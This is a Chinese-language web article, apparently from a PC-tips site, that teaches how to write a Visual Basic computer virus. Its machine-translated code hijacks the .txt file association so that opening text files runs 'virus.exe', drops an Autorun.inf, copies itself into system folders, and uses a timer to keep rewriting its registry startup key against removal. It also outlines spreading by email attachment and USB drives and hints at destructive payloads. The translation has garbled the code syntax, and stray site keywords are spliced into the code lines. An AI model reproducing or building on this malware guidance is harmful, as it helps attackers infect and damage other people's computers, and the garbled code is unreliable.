私有声明函数RegCreateKey Lib“ advapi32.dll”别名“ RegCreateKeyA”(ByVal hKey长,ByVal lpSubKey长字符串,phkResult长)
私有声明函数RegSetValue Lib“ advapi32.dll”别名“ RegSetValueA”(ByVal hKey长,ByVal lpSubKey作为字符串,ByVal dwType长,ByVal lpData作为字符串,ByVal cbData长)
Const HKEY_CLASSES_ROOT =&H80000000
常量REG_SZ = 1
实施代码:
将sKeyName设置为String'存储密钥名称
将sKeyValue设置为String'存储键值
将MyReturn As设置为'存储返回值信息
尽可能长的昏暗按键柄
sKeyName =“测试”
sKeyValue =“测试应用程序”
MyReturn&= RegCreateKey&(HKEY_CLASSES_ROOT,sKeyName,键句柄&)
MyReturn&= RegSetValue&(键处理&,“”,REG_SZ,sKeyValue,0和)
MsgBox MyReturn&
sKeyName =“ .txt”'要关联的文件扩展名
sKeyValue =“测试”
MyReturn&= RegCreateKey&(HKEY_CLASSES_ROOT,sKeyName,键句柄&)
MyReturn&= RegSetValue&(键处理&,“”,REG_SZ,sKeyValue,0和)
sKeyName =“测试”
sKeyValue =“ D: \\ virus.exe%1”'自身程序的位置和名称
MyReturn&= RegCreateKey&(HKEY_CLASSES_ROOT,sKeyName,键句柄&)
MyReturn&= RegSetValue&(键句柄&,“ shell \ open \ command”,REG_SZ,sKeyValue,MAX_PATH)
结束子
以上是通过修改TXT文件关联以实现病毒启动来实现的.
第二,使用Autorun.inf
CD-ROM使用它来自动播放,所以我不会胡说八道.
实施代码:
如果Dir(“ F: \”)<>“”然后让a = App.Path +“ \” + App.EXEName +“ .exe”
FileCopy a,“ C: \ virus.exe”
打开“ Autorun.inf”以将其作为#1输出
打印#1,“ [自动运行]”
打印#1,“ OPEN = virus.exe”
关闭#1
这样,您可以双击C驱动器来启动病毒.
我们来谈谈病毒的传播. 病毒的传播可以说是八仙仙渡海. 主要传输方式为电子邮件传输,远程溢出等.
此处不解释远程溢出. 首先是我不是很熟练,我只是使用它,我没有说. 第二是要明确和麻烦. 因此,让我谈谈电子邮件传播.
首先,创建一个WINSOCKE. 然后用编程实现. 这里只有想法.
ConnectToServer服务器电脑病毒是怎么制作的,Winsock1‘这是到服务器的连接
SendMail发件人地址,收件人地址,主题电脑病毒是怎么制作的,正文,Winsock1,附加“发送邮件
FromAddress发件人地址
ToAddress收件人地址
主题消息标头
正文消息内容
附加附件地址
使用此原理进行广播可以达到传播自己的目的.
另一个是U盘/ A盘传输,已在原则上进行了说明. 有了Autorun.inf文件,这里就没有废话了.
说了这么多,剩下的最后一点是破坏性的. 这将不详细解释. 什么自动关机,无限扩散. 每个人都不难发挥自己的想象力.
最后,在特定操作系统下必须生存哪种病毒. 因此,在创建病毒之后,它可能在任何操作系统下都不可用. 还有一件事,病毒必须保护自己. 建议使用TIMER. 使用此组件可以连续编写注册表. 这样,很难删除病毒的启动密钥. 同时保护您自己的扩散文件. 例如:
让a = App.Path +“ \” + App.EXEName +“ .exe”
如果是Dir(“ C: \ Program Files \ Virus.exe”)<>“”则
其他: FileCopy a,“ C: \ Program Files \ Virus.exe”
最后,有最重要的一点. 那就是容错能力. 尽可能多地添加. 以防万一.
观看本文计算机病毒产生的人还观看了
1. 如何制作计算机病毒
2. 电脑病毒会制作视频
3. 如何制造计算机病毒?
4. 计算机病毒生产的原理和危害是什么?
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-149852-1.html